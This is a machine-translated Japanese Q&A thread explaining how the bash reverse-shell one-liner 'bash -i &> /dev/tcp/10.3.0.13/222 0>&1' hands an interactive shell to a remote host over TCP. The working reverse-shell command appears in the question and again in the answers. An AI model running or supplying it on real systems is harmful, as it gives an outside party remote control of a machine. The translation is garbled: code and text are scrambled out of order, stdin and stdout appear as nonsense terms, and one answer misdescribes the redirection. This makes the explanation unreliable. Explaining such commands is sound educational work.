コマンドを理解しようとします。
bash -i &> /dev/tcp/10.3.0.13/222 0>&1
これは、「bash -i」のSTDINがSTDOUTコンテンツを取得することを意味しますか?
答え1
&> file
> file 2>&1
それ自体は、ファイルディスクリプタ1で書き込み専用モードで開き、file
そのファイルディスクリプタ1をファイルディスクリプタ2にコピーし、fd 1と2(stdoutとstderr)の両方がそのファイルディスクリプタを指すようにします。ファイル説明を開く
0>&1
0<&1
(またはと同じ<&1
)リストに0(stdin)を追加します。また、fd 1を0にコピーします(fd 0は、fd 1が指すのと同じリソースを指すようにします)。
これで(関数が出てくるkshのように)> /dev/tcp/host/port
実行すると、aを実行する代わりにTCPソケットが作成され接続されます。それじゃないbash
open(file, O_WRONLY)
bash
host:port
ただ書くリダイレクト、読み取り+書き込みネットワークソケットです。
したがって、最後のfd 0、1、2はすべてbash -i
TCPソケットです。 stdinを読み取るときはbash -i
ソケットから読み込み、したがってもう一方の端にあるすべての内容を読み込みhost:post
(またはそこで実行されるコマンド)、fd 1または2に書き込むとソケットが送信されます。
答え2
段階的に見てみましょう。
bash -i
: インタラクティブシェルを開く&>
:標準出力とエラーをポート222でリッスンするIP 10.3.0.13で開いているソケットにリダイレクトします。0>&1
:0<&1で読むのが好きです。これが実際に意味するのは、「1」に「0」が追加されることです。これは標準入力が標準出力に追加されることを意味します。 222.
答え3
つまり、このコマンドは、tcpソケットを介してipとして指定されたホストから入力を読み取り、そのホストに出力とエラーを渡す対話型bashシェルを開きます。
詳細:(!!!専門家ではないため、一部の説明が正しくないか、正しくない可能性があります。)
&> /dev/tcp/10.3.0.13/222
2つの部分があります。最初:
/dev/tcp/10.3.0.13/222
Bashは、リダイレクトに使用されるときに複数のファイル名を処理するために特化されています。
/dev/tcp/host/port
ホストが有効なホスト名またはインターネットアドレスで、ポートが整数のポート番号またはサービス名の場合、BashはそのTCPソケットを開こうとします。
第二:
&>
標準出力と標準エラーを同じファイルに送信するためのリダイレクト演算子。
したがって、&> /dev/tcp/10.3.0.13/222
対応するTCPソケットを開き、標準出力と標準エラーをソケットにリダイレクトすることを意味します。
リダイレクトは、実際には以前の記述子と同じオープンファイル記述を参照する新しいファイル記述子を割り当てます。
オープンファイルの説明は、システム全体のオープンファイルテーブルのエントリです。開かれたファイル記述は、ファイルオフセットおよびファイル状態フラグを記録する。ファイル記述子は開いたファイル記述への参照です。後でパス名が削除された場合、または他のファイルを参照するように変更された場合、この参照は影響を受けません。
したがって、実際にはステーション出力そしてエラー(実際にはファイル記述子です)ソケットのファイル記述子今同じことを指すファイル説明を開く。つまり、bashで出力またはエラーが発生するたびに、このデータがソケットに書き込まれ、上記で指定されたターゲットホストに送信されます。
0>&1
リダイレクトスタンディング入力到着ステーション出力。上記のアイデアを使用すると、文字通り意味します。スタンディング入力同じものを参照ファイル説明を開くこれは次のために発生します。ステーション出力;これも参照した内容と同じです。エラーそしてソケットのファイル記述子。これは、このコマンドを実行するホストが通過するたびにTCPソケット、bashはこれを入力として読み込みます。
リダイレクトが実際に何を意味するのか分からない場合は、リダイレクトが何を意味するのかを理解することは困難です。スタンディング入力到着ステーション出力。読むという意味ではありませんステーション出力〜のようにスタンディング入力、言葉にならないからです。実際には意味するスタンディング入力そしてステーション出力同じものを参照ファイル説明を開く。したがって、コマンドは入力を読み取り、出力をここでソケットと同じファイルにパイプします。
引用:
https://www.gnu.org/savannah-checkouts/gnu/bash/manual/bash.html#Redirections https://man7.org/linux/man-pages/man2/dup.2.html